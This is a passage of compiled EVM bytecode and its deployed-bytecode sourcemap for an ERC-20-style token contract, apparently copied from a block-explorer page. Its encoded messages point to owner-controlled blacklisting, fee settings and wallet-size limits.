080830184613c46565b9695505050505050565b6000604082019050613f696000830185613c46565b613f766020830184613c46565b9392505050565b6000602082019050613f926000830184613c55565b92915050565b6000613fa2613fb3565b9050613fae8282614248565b919050565b6000604051905090565b600067ffffffffffffffff821115613fd857613fd7614380565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561400457614003614380565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600081905092915050565b600082825260208201905092915050565b6000614080826141c8565b915061408b836141c8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156140c0576140bf6142f3565b5b828201905092915050565b60006140d6826141c8565b91506140e1836141c8565b9250826140f1576140f0614322565b5b828204905092915050565b6000614107826141c8565b9150614112836141c8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561414b5761414a6142f3565b5b828202905092915050565b6000614161826141c8565b915061416c836141c8565b92508282101561417f5761417e6142f3565b5b828203905092915050565b6000614195826141a8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006141ea826141f1565b9050919050565b60006141fc826141a8565b9050919050565b600061420e826141c8565b9050919050565b60005b83811015614233578082015181840152602081019050614218565b83811115614242576000848401525b50505050565b614251826143c3565b810181811067ffffffffffffffff821117156142705761426f614380565b5b80604052505050565b6000614284826141c8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156142b7576142b66142f3565b5b600182019050919050565b60006142cd826141c8565b91506142d8836141c8565b9250826142e8576142e7614322565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f5472616e7366657220616d6f756e74206578636565647320746865206261672060008201527f73697a652e000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f72656365697665722072656a656374656420455448207472616e736665720000600082015250565b7f7573657220616c726561647920626c61636b6c69737465640000000000000000600082015250565b7f7573657220616c72656164792077686974656c69737465640000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f214f574e45520000000000000000000000000000000000000000000000000000600082015250565b50565b7f21415554484f52495a4544000000000000000000000000000000000000000000600082015250565b6145748161418a565b811461457f57600080fd5b50565b61458b8161419c565b811461459657600080fd5b50565b6145a2816141c8565b81146145ad57600080fd5b5056fea264697066735822122019e708a87f02c08165957385bd0fe12c613910e5eee4a1ab2c789a809fe8d0cb64736f6c63430008050033

Deployed Bytecode Sourcemap

4672:13595:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6443:54;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7662:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8084:216;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11988:149;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7392:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16085:464;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;17886:183;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8608:370;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11667:142;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2565:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2679:103;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7486:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15609:283;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;15898:181;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;8308:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15235:240;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5201:58;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6369:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7832:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3019:131;;;;;;;;;;;;;:::i;:::-;;5266:52;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7748:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17273:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7572:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;15481:122;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6512:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16847:419;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6341:19;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8444:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;11815:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17401:317;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7943:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;17724:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;18075:120;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;16555:97;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2789:108;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6406:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;16660:179;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6310:24;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2904:109;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6443:54;;;;:::o;7662:80::-;7710:13;7734:5;;;;;;;;;;;;;;;;;7727:12;;7662:80;:::o;8084:216::-;8159:4;8211:6;8176:11;:23;8188:10;8176:23;;;;;;;;;;;;;;;:32;8200:7;8176:32;;;;;;;;;;;;;;;:41;;;;8254:7;8233:37;;8242:10;8233:37;;;8263:6;8233:37;;;;;;:::i;:::-;;;;;;;;8288:4;8281:11;;8084:216;;;;:::o;11988:149::-;12068:4;12123:6;12091:29;12111:8;12091:19;:29::i;:::-;:38;12084:45;;11988:149;;;;:::o;7392:88::-;7447:7;7465:12;;7458:19;;7392:88;:::o;16085:464::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;16169:17:::1;16189:21;16169:41;;16229:20;;;;;;;;;;;16221:38;;:74;16291:3;16272:16;16260:9;:28;;;;:::i;:::-;:34;;;;:::i;:::-;16221:74;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;16306:27;16342:7;;;;;;;;;;;16336:24;;;16369:4;16336:39;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;16306:69;;16386:29;16459:3;16440:16;16418:19;:38;;;;:::i;:::-;:44;;;;:::i;:::-;16386:76;;16479:7;;;;;;;;;;;16473:23;;;16497:20;;;;;;;;;;;16519:21;16473:68;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;16158:391;;;16085:464:::0;:::o;17886:183::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;18002:7:::1;17984:15;:25;;;;18049:12;18020:26;:41;;;;17886:183:::0;;:::o;8608:370::-;8708:4;8763:17;8728:11;:19;8740:6;8728:19;;;;;;;;;;;;;;;:31;8748:10;8728:31;;;;;;;;;;;;;;;;:52;8725:186;;8830:69;8866:6;8830:69;;;;;;;;;;;;;;;;;:11;:19;8842:6;8830:19;;;;;;;;;;;;;;;:31;8850:10;8830:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;8796:11;:19;8808:6;8796:19;;;;;;;;;;;;;;;:31;8816:10;8796:31;;;;;;;;;;;;;;;:103;;;;8725:186;8930:40;8944:6;8952:9;8963:6;8930:13;:40::i;:::-;8923:47;;8608:370;;;;;:::o;11667:142::-;11720:7;11747:54;11785:15;11795:4;;;;;;;;;;;11785:9;:15::i;:::-;11747:33;11764:15;11774:4;;;;;;;;;;;11764:9;:15::i;:::-;11747:12;;:16;;:33;;;;:::i;:::-;:37;;:54;;;;:::i;:::-;11740:61;;11667:142;:::o;2565:108::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;2660:5:::1;2638:14;:19;2653:3;2638:19;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;2565:108:::0;;:::o;2679:103::-;2734:4;2769:5;;;;;;;;;;;2758:16;;:7;:16;;;2751:23;;2679:103;;;:::o;7486:80::-;7538:5;5132:1;7547:16;;7486:80;:::o;15609:283::-;2395:19;2403:10;2395:7;:19::i;:::-;2387:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;15797:13:::1;:20;15811:5;15797:20;;;;;;;;;;;;;;;;;;;;;;;;;15796:21;15788:58;;;;;;;;;;;;:::i;:::-;;;;;;;;;15880:4;15857:13;:20;15871:5;15857:20;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;15609:283:::0;:::o;15898:181::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;15981:13:::1;:20;15995:5;15981:20;;;;;;;;;;;;;;;;;;;;;;;;;15973:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;16064:5;16041:13;:20;16055:5;16041:20;;;;;;;;;;;;;;;;:28;;;;;;;;;;;;;;;;;;15898:181:::0;:::o;8308:122::-;8363:4;8387:35;8395:7;8404:17;8387:7;:35::i;:::-;8380:42;;8308:122;;;:::o;15235:240::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;15342:9:::1;15337:125;15361:10;:17;15357:1;:21;15337:125;;;15399:51;15413:10;15425;15436:1;15425:13;;;;;;;;:::i;:::-;;;;;;;;15440:6;15447:1;15440:9;;;;;;;;:::i;:::-;;;;;;;;15399:13;:51::i;:::-;;15380:3;;;;;:::i;:::-;;;;15337:125;;;;15235:240:::0;;:::o;5201:58::-;;;;:::o;6369:30::-;;;;;;;;;;;;;:::o;7832:105::-;7898:7;7916:9;:18;7926:7;7916:18;;;;;;;;;;;;;;;;7909:25;;7832:105;;;:::o;3019:131::-;2395:19;2403:10;2395:7;:19::i;:::-;2387:38;;;;;;;;;;;;:::i;:::-;;;;;;;;;3092:1:::1;3076:5:::0;::::1;:18;;;;;;;;;;;;;;;;;;3110:32;3139:1;3110:32;;;;;;:::i;:::-;;;;;;;;3019:131::o:0;5266:52::-;;;;:::o;7748:78::-;7800:7;7818:5;;;;;;;;;;;7811:12;;7748:78;:::o;17273:122::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;17377:5:::1;17355:11;:19;17367:6;17355:19;;;;;;;;;;;;;;;;:27;;;;;;;;;;;;;;;;;;17273:122:::0;;:::o;7572:84::-;7622:13;7646:7;;;;;;;;;;;;;;;;;7639:14;;7572:84;:::o;15481:122::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;15553:42:::1;15575:4;15582;;;;;;;;;;;15588:6;15553:13;:42::i;:::-;;15481:122:::0;:::o;6512:35::-;;;;:::o;16847:419::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;17004:13:::1;16989:12;:28;;;;17045:13;17030:12;:28;;;;17085:13;17070:12;:28;;;;17127:15;17110:14;:32;;;;17195:12;;17180;;17165;;:27;;;;:::i;:::-;:42;;;;:::i;:::-;17154:8;:53;;;;17255:1;17238:14;;:18;;;;:::i;:::-;17227:8;;:29;17219:39;;;::::0;::::1;;16847:419:::0;;;;:::o;6341:19::-;;;;;;;;;;;;;:::o;8444:156::-;8524:4;8548:44;8562:10;8574:9;8585:6;8548:13;:44::i;:::-;8541:51;;8444:156;;;;:::o;11815:167::-;11883:7;11910:64;11951:22;:20;:22::i;:::-;11910:36;11923:22;11943:1;11923:15;11933:4;;;;;;;;;;;11923:9;:15::i;:::-;:19;;:22;;;;:::i;:::-;11910:8;:12;;:36;;;;:::i;:::-;:40;;:64;;;;:::i;:::-;11903:71;;11815:167;;;:::o;17401:317::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;17575:22:::1;17551:21;;:46;;;;;;;;;;;;;;;;;;17631:21;17608:20;;:44;;;;;;;;;;;;;;;;;;17686:21;17663:20;;:44;;;;;;;;;;;;;;;;;;17401:317:::0;;;:::o;7943:133::-;8027:7;8045:11;:19;8057:6;8045:19;;;;;;;;;;;;;;;:28;8065:7;8045:28;;;;;;;;;;;;;;;;8038:35;;7943:133;;;;:::o;17724:156::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;17830:8:::1;17816:11;;:22;;;;;;;;;;;;;;;;;;17865:7;17849:13;:23;;;;17724:156:::0;;:::o;18075:120::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;18159:28:::1;18168:18;18159:8;:28::i;:::-;18075:120:::0;:::o;16555:97::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;16637:7:::1;16623:11;;:21;;;;;;;;;;;;;;;;;;16555:97:::0;:::o;2789:108::-;2846:4;2882:7;;;;;;;;;;;2871:18;;:7;:18;;;2864:25;;2789:108;;;:::o;6406:30::-;;;;;;;;;;;;;:::o;16660:179::-;2483:24;2496:10;2483:12;:24::i;:::-;:49;;;;2511:21;2521:10;2511:9;:21::i;:::-;2483:49;2475:73;;;;;;;;;;;;:::i;:::-;;;;;;;;;16791:3:::1;16773:13;16758:12;;:28;;;;:::i;:::-;16757:37;;;;:::i;:::-;16738:16;:56;;;;16829:1;16813:13;:17;16805:26;;;::::0;::::1;;16660:179:::0;:::o;6310:24::-;;;;;;;;;;;;;:::o;2904:109::-;2960:4;2985:14;:19;3000:3;2985:19;;;;;;;;;;;;;;;;;;;;;;;;;2978:26;;2904:109;;;:::o;417:190::-;503:7;536:1;531;:6;;539:12;523:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;563:9;579:1;575;:5;;;;:::i;:::-;563:17;;598:1;591:8;;;417:190;;;;;:::o;8986:1112::-;9078:4;9104:13;:21;9118:6;9104:21;;;;;;;;;;;;;;;;;;;;;;;;;9103:22;9095:31;;;;;;9299:6;;;;;;;;;;;9296:63;;;9315:41;9330:6;9338:9;9349:6;9315:14;:41::i;:::-;9308:48;;;;9296:63;9396:4;;;;;;;;;;;9383:17;;:9;:17;;;;:38;;;;;9417:4;;;;;;;;;;;9404:17;;:9;:17;;;;9383:38;9379:200;;;9446:15;:26;9462:9;9446:26;;;;;;;;;;;;;;;;;;;;;;;;;:79;;;;9509:16;;9499:6;9476:9;:20;9486:9;9476:20;;;;;;;;;;;;;;;;:29;;;;:::i;:::-;:49;;9446:79;9438:129;;;;;;;;;;;;:::i;:::-;;;;;;;;;9379:200;9589:24;9598:6;9606;9589:8;:24::i;:::-;9627:6;;;;;;;;;;;9624:34;;;9648:7;9635:9;;:20;;;;;;;:::i;:::-;;;;;;;;9624:34;9668:16;9677:6;9668:8;:16::i;:::-;9708;:14;:16::i;:::-;9705:48;;;9727:23;9736:13;;9727:8;:23::i;:::-;9705:48;9786:53;9808:6;9786:53;;;;;;;;;;;;;;;;;:9;:17;9796:6;9786:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;9766:9;:17;9776:6;9766:17;;;;;;;;;;;;;;;:73;;;;9852:22;9877:21;9891:6;9877:13;:21::i;:::-;:56;;9927:6;9877:56;;;9901:23;9909:6;9917;9901:7;:23::i;:::-;9877:56;9852:81;;9967:40;9992:14;9967:9;:20;9977:9;9967:20;;;;;;;;;;;;;;;;:24;;:40;;;;:::i;:::-;9944:9;:20;9954:9;9944:20;;;;;;;;;;;;;;;:63;;;;10042:9;10025:43;;10034:6;10025:43;;;10053:14;10025:43;;;;;;:::i;:::-;;;;;;;;10086:4;10079:11;;;8986:1112;;;;;;:::o;275:136::-;333:7;360:43;364:1;367;360:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;353:50;;275:136;;;;:::o;613:246::-;671:7;700:1;695;:6;691:47;;;725:1;718:8;;;;691:47;748:9;764:1;760;:5;;;;:::i;:::-;748:17;;793:1;788;784;:5;;;;:::i;:::-;:10;776:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;850:1;843:8;;;613:246;;;;;:::o;865:132::-;923:7;950:39;954:1;957;950:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;943:46;;865:132;;;;:::o;12145:2704::-;6664:4;6655:6;;:13;;;;;;;;;;;;;;;;;;12219:28:::1;12250:17;12219:48;;12278:27;12308:60;12324:15;;12341:26;;12308:15;:60::i;:::-;:79;;12375:12;;12308:79;;;12371:1;12308:79;12278:109;;12398:23;12424:66;12488:1;12424:59;12474:8;;12424:45;12449:19;12424:20;:24;;:45;;;;:::i;:::-;:49;;:59;;;;:::i;:::-;:63;;:66;;;;:::i;:::-;12398:92;;12501:20;12524:41;12549:15;12524:20;:24;;:41;;;;:::i;:::-;12501:64;;12578:21;12616:1;12602:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12578:40;;12629:26;12672:1;12658:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12629:45;;12708:4;12685:9;12695:1;12685:12;;;;;;;;:::i;:::-;;;;;;;:28;;;;;;;;;::::0;::::1;12739:7;;;;;;;;;;;12724:9;12734:1;12724:12;;;;;;;;:::i;:::-;;;;;;;:22;;;;;;;;;::::0;::::1;12772:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12757:9;12767:1;12757:12;;;;;;;;:::i;:::-;;;;;;;:28;;;;;;;;;::::0;::::1;12798:21;12822;12798:45;;12856:6;;;;;;;;;;;:57;;;12928:12;12955:1;12971:9;13003:4;13023:15;12856:193;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;13060:17;13080:40;13106:13;13080:21;:25;;:40;;;;:::i;:::-;13060:60;;13131:19;13153:33;13166:19;13183:1;13166:12;;:16;;:19;;;;:::i;:::-;13153:8;;:12;;:33;;;;:::i;:::-;13131:55;;13197:26;13226:58;13282:1;13226:51;13265:11;13226:34;13240:19;13226:9;:13;;:34;;;;:::i;:::-;:38;;:51;;;;:::i;:::-;:55;;:58;;;;:::i;:::-;13197:87;;13295:26;13324:44;13356:11;13324:27;13338:12;;13324:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;13295:73;;13379:26;13408:44;13440:11;13408:27;13422:12;;13408:9;:13;;:27;;;;:::i;:::-;:31;;:44;;;;:::i;:::-;13379:73;;13468:21;13526:20;;;;;;;;;;;13518:34;;13560:18;13585:5;13518:77;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13467:128;;;13607:21;13665:20;;;;;;;;;;;13657:34;;13699:18;13724:5;13657:77;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;13606:128;;;13753:16;13745:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;13823:16;13815:59;;;;;;;;;;;;:::i;:::-;;;;;;;;;13897:6;;;;;;;;;;;:11;;;:13;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;13887:4;13892:1;13887:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;13931:7;;;;;;;;;;;13921:4;13926:1;13921:7;;;;;;;;:::i;:::-;;;;;;;:17;;;;;;;;;::::0;::::1;13975:1;13954:18;:22;13951:266;;;13993:6;;;;;;;;;;;:57;;;14058:18;14096:1;14116:4;14147;14171:15;13993:208;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;13951:266;14229:19;14251:15;14229:37;;14300:1;14282:15;:19;14279:563;;;14317:22;14348:7;;;;;;;;;;;14342:24;;;14375:4;14342:39;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14317:64;;14414:7;;;;;;;;;;;14408:22;;;14439:6;;;;;;;;;;;14448:14;14408:55;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;14493:6;;;;;;;;;;;:19;;;14531:7;;;;;;;;;;;14565:4;14589:14;14622:11;14652:1;14672::::0;14692:21:::1;;;;;;;;;;;14732:15;14493:269;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;14782:48;14794:18;14814:15;14782:48;;;;;;;:::i;:::-;;;;;;;;14302:540;14279:563;12208:2641;;;;;;;;;;;;;;;6682:5:::0;6673:6;;:14;;;;;;;;;;;;;;;;;;12145:2704;:::o;10110:330::-;10203:4;10240:53;10262:6;10240:53;;;;;;;;;;;;;;;;;:9;:17;10250:6;10240:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;10220:9;:17;10230:6;10220:17;;;;;;;;;;;;;;;:73;;;;10327:32;10352:6;10327:9;:20;10337:9;10327:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;10304:9;:20;10314:9;10304:20;;;;;;;;;;;;;;;:55;;;;10392:9;10375:35;;10384:6;10375:35;;;10403:6;10375:35;;;;;;:::i;:::-;;;;;;;;10428:4;10421:11;;10110:330;;;;;:::o;10635:214::-;10714:6;;;;;;;;;;;10710:122;;;10744:15;:23;10760:6;10744:23;;;;;;;;;;;;;;;;;;;;;;;;;:50;;;;10793:1;10780:9;;10771:6;:18;;;;:::i;:::-;:23;10744:50;:74;;;;10817:1;10807:6;;10798;:15;;;;:::i;:::-;:20;10744:74;10736:84;;;;;;10710:122;10635:214;;:::o;10856:137::-;10914:6;;;;;;;;;;;:30;;;;;10943:1;10933:6;;10924;:15;;;;:::i;:::-;:20;10914:30;10910:76;;;10969:5;10960:6;;:14;;;;;;;;;;;;;;;;;;10910:76;10856:137;:::o;11460:197::-;11509:4;11547;;;;;;;;;;;11533:18;;:10;:18;;;;:38;;;;;11565:6;;;;;;;;;;;11564:7;11533:38;:62;;;;;11584:11;;;;;;;;;;;11533:62;:116;;;;;11636:13;;11608:9;:24;11626:4;11608:24;;;;;;;;;;;;;;;;:41;;11533:116;11526:123;;11460:197;:::o;11001:114::-;11063:4;11088:11;:19;11100:6;11088:19;;;;;;;;;;;;;;;;;;;;;;;;;11087:20;11080:27;;11001:114;;;:::o;11123:329::-;11190:7;11210:17;11230:40;11255:14;;11230:20;11241:8;;11230:6;:10;;:20;;;;:::i;:::-;:24;;:40;;;;:::i;:::-;11210:60;;11308:39;11337:9;11308;:24;11326:4;11308:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;11281:9;:24;11299:4;11281:24;;;;;;;;;;;;;;;:66;;;;11388:4;11363:42;;11372:6;11363:42;;;11395:9;11363:42;;;;;;:::i;:::-;;;;;;;;11423:21;11434:9;11423:6;:10;;:21;;;;:::i;:::-;11416:28;;;11123:329;;;;:::o;90:179::-;148:7;168:9;184:1;180;:5;;;;:::i;:::-;168:17;;209:1;204;:6;;196:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;260:1;253:8;;;90:179;;;;:::o;1003:189::-;1089:7;1121:1;1117;:5;1124:12;1109:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1148:9;1164:1;1160;:5;;;;:::i;:::-;1148:17;;1183:1;1176:8;;;1003:189;;;;;:::o;24:722:1:-;120:5;145:81;161:64;218:6;161:64;:::i;:::-;145:81;:::i;:::-;136:90;;246:5;275:6;268:5;261:21;309:4;302:5;298:16;291:23;;335:6;385:3;377:4;369:6;365:17;360:3;356:27;353:36;350:2;;;404:79;;:::i;:::-;350:2;517:1;502:238;527:6;524:1;521:13;502:238;;;595:3;624:37;657:3;645:10;624:37;:::i;:::-;619:3;612:50;691:4;686:3;682:14;675:21;;725:4;720:3;716:14;709:21;;562:178;549:1;546;542:9;537:14;;502:238;;;506:14;126:620;;;;;;;:::o;769:722::-;865:5;890:81;906:64;963:6;906:64;:::i;:::-;890:81;:::i;:::-;881:90;;991:5;1020:6;1013:5;1006:21;1054:4;1047:5;1043:16;1036:23;;1080:6;1130:3;1122:4;1114:6;1110:17;1105:3;1101:27;1098:36;1095:2;;;1149:79;;:::i;:::-;1095:2;1262:1;1247:238;1272:6;1269:1;1266:13;1247:238;;;1340:3;1369:37;1402:3;1390:10;1369:37;:::i;:::-;1364:3;1357:50;1436:4;1431:3;1427:14;1420:21;;1470:4;1465:3;1461:14;1454:21;;1307:178;1294:1;1291;1287:9;1282:14;;1247:238;;;1251:14;871:620;;;;;;;:::o;1497:139::-;1543:5;1581:6;1568:20;1559:29;;1597:33;1624:5;1597:33;:::i;:::-;1549:87;;;;:::o;1642:143::-;1699:5;1730:6;1724:13;1715:22;;1746:33;1773:5;1746:33;:::i;:::-;1705:80;;;;:::o;1808:370::-;1879:5;1928:3;1921:4;1913:6;1909:17;1905:27;1895:2;;1936:79;;:::i;:::-;1895:2;2053:6;2040:20;2078:94;2168:3;2160:6;2153:4;2145:6;2141:17;2078:94;:::i;:::-;2069:103;;1885:293;;;;;:::o;2201:370::-;2272:5;2321:3;2314:4;2306:6;2302:17;2298:27;2288:2;;2329:79;;:::i;:::-;2288:2;2446:6;2433:20;2471:94;2561:3;2553:6;2546:4;2538:6;2534:17;2471:94;:::i;:::-;2462:103;;2278:293;;;;;:::o;2577:133::-;2620:5;2658:6;2645:20;2636:29;;2674:30;2698:5;2674:30;:::